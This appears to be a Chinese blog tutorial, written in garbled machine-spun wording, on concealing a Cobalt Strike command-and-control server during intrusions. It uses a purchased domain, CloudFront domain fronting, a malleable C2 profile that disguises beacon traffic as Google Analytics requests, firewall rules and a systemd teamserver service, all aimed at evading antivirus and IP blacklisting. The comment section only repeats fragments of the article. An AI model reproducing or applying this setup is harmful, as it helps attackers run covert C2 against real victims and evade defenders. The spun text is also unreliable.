acme
平常在渗入中大家常常会碰到那样的状况:提交一个远程控制到windows上,立刻就被杀病毒给杀了,随后杀病毒给样版全自动上传入云管理中心,过一次去查会ip或网站域名早已被标识为故意ip或远程控制ip,那麼有木有方式 来防止那样的状况呢?回答是的,我们可以将cs的联接数据加密和服务器头顶部也不会曝露cs的联接网站域名。
一,购买域名
在域名服务商申请办理一个网站域名,对后缀名无特别要求,一些申请注册一个x.com
二,域名解析
用域名服务商内置的分析也行,这里用的是完全免费的cloudflare,把一个二级子解析域名到服务器端的ip上边,改成test.x.com用A记录分析到192.168.1.1
三,申请办理域名证书
这里用的是acme.sh,用dns api申请办理了一个通配符证书,怎么申请可以看acme.sh Wiki(https://github.com/acmesh-official/acme.sh/wiki/dnsapi),现阶段acme .sh总适用110个DNS API。
用cloudfalreapi申请办理通配符证书:
exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje" acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'
安装证书并全自动变换域名证书种类和重新启动cs服务器端:
acme.sh--installcert -d x.com \ --keypath/usr/local/ssl/x.com.key \ --fullchainpath/usr/local/ssl/x.com.cer \ --reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer \ -inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \ -passoutpass:123456 \ &&systemctlrestart cobaltstrike.service"
安裝进行以后acme.sh会每日查验证书过期時间,大约在也有一个月到期的情况下acme.sh会全自动审签资格证书并实行安裝指令reloadcmd
四,变换域名证书种类
cs服务器端只了解p12种类的资格证书,假如用acme.sh申请办理得话能够启用指令自动化技术变换域名证书
opensslpkcs12 -export -in /usr/local/ssl/x.com.cer \ -inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \ -passoutpass:123456
五,申请办理AWS CloudFront
申请注册一个亚马逊账号,关联适用visa,mastcard等付款的***并根据审批,不兼容中国银联***,必须留意的是aws是后述方式
申请注册好啦以后浏览https://console.aws.amazon.com/cloudfront/home,申请办理一个cloudfront
申请办理全过程中必须留意的地区:
建立进行以后aws会分派一个xxx.cloudfront.net的网站域名到账户下边,纪录下这一网站域名,以后会采用。
cloudfront并不是完全免费的,能够掌握下价钱:
传来价钱:
预估价钱:
及其别的收费标准:
六,改动C2介绍
介绍內容以下:
# makeour C2 look like a Google Web Bug #https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting # #Author: @armitagehacker setuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko"; http-get{ set uri "/__utm.gif"; client { parameter "utmac""UA-2202604-2"; parameter "utmcn""1"; parameter "utmcs""ISO-8859-1"; parameter "utmsr""1280x1024"; parameter "utmsc""32-bit"; parameter "utmul""en-US"; header "Host""*.cloudfront.net"; # 这儿必须改动 metadata { netbios; prepend "__utma"; parameter"utmcc"; } } server { header "Content-Type""image/gif"; output { # hexdump pixel.gif # 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00 # 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00 # 0000020 01 00 01 00 00 0201 44 00 3b prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } http-post{ set uri "/___utm.gif"; client { header "Content-Type""application/octet-stream"; id { prepend "UA-220"; append "-2"; parameter"utmac"; } parameter "utmcn""1"; parameter "utmcs""ISO-8859-1"; parameter "utmsr""1280x1024"; parameter "utmsc""32-bit"; parameter "utmul""en-US"; header "Host""*.cloudfront.net"; # 这儿必须改动 output { print; } } server { header "Content-Type""image/gif"; output { prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } \# dressup the staging process too http-stager{ server { header "Content-Type""image/gif"; } } https-certificate{ set keystore "keystore.store"; set password "123456"; # 这儿必须改动 }
改动好以后放进cs服务器端同一个文件目录下边
七,服务器防火墙配备
依据aws出示的ip目录(https://ip-ranges.amazonaws.com/ip-ranges.json)挑选出cloudfrant ip段,添加ipset目录
随后iptables启用ipset设定仅容许aws cloudfront ip能够80、443回源
最终添加标准,仅容许特殊ip能够浏览cs的管理方法端口号
最终的iptables标准文档应该是那样的:
如果是debian发行版能够充分利用网络起动脚本制作开展ipset和iptables的轻载
cat >/etc/network/if-pre-up.d/iptables<<EOF #!/bin/bash /sbin/ipsetrestore < /etc/ipset.rules /sbin/iptables-restore< /etc/iptables.up.rules /sbin/ip6tables-restore< /etc/ip6tables.up.rules EOF chmod x/etc/network/if-pre-up.d/iptables
八,起动服务器端
cd到相对文件目录,导电软连接以前申请办理的资格证书
ln -s cobaltstrike.store /usr/local/ssl/x.com.p12
改动teamserver端口号和服务器防火墙相匹配
配备systemd起动服务项目,下边配备自主替更换ip和passwd
cat > /etc/systemd/system/cobaltstrike.service <<EOF [Unit] Description=cobalstrike service After=network.target [Service] ExecStart=/usr/local/cobaltstrike4/teamserver ip passwd/usr/local/cobaltstrike4/c2.profile WorkingDirectory=/usr/local/cobaltstrike4 Restart=on-failure RestartSec=5s ProtectHome=true PrivateTmp=true [Install] WantedBy=multi-user.target EOF systemctl start cobaltstrike.service # 起动服务项目 systemctl status cobaltstrike.service # 查询服务项目
假如一切正常能够添加开机自启动
systemctl enable cobaltstrike.service
九,起动手机客户端
在bat起动文档里添加-DsocksProxyHost = 127.0.0.1 -DsocksProxyPort = 10808,根据代理商联接服务器端
增加一个侦听器,HTTPS服务器填写别的适用cloudfront的网站域名,称之为cdn1.safmc.net,大量的能够自身搜集
HTTPS服务器(Stager)添充刚刚申请办理到的cloudfront网站域名
随后就可以依照一切正常的方法应用cs,假如抓包软件会发觉应用了tls数据加密,仅有服务器头顶部和cloudfront.net能够见到,而服务器头是cdn1.safmc.net,而不是前边申请办理的网站域名检测。 x.com
相关文章
- 5条评论
- 只酷寒洲2022-05-28 02:37:41
- ip passwd/usr/local/cobaltstrike4/c2.profileWorkingDirectory=/usr/local/cobaltstrike4Restart=on-failureRestartSec=5sProtectHome=tr
- 嘻友里赴2022-05-28 04:47:55
- x44\x00\x3b"; prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend"\x47\x49\x46\x38
- 双笙边侣2022-05-28 05:30:31
- 件目录下边 七,服务器防火墙配备 依据aws出示的ip目录(https://ip-ranges.amazonaws.com/ip-ranges.json)挑选出cloudfrant ip段,添加ipset目录
- 边侣神择2022-05-28 01:45:31
- ttp-get{ set uri "/__utm.gif"; client { parameter "utmac""UA
- 边侣涴歌2022-05-28 06:38:00
- ervice" 安裝进行以后acme.sh会每日查验证书过期時间,大约在也有一个月到期的情况下acme.sh会全自动审签资格证书并实行安裝指令reloadcmd 四,变换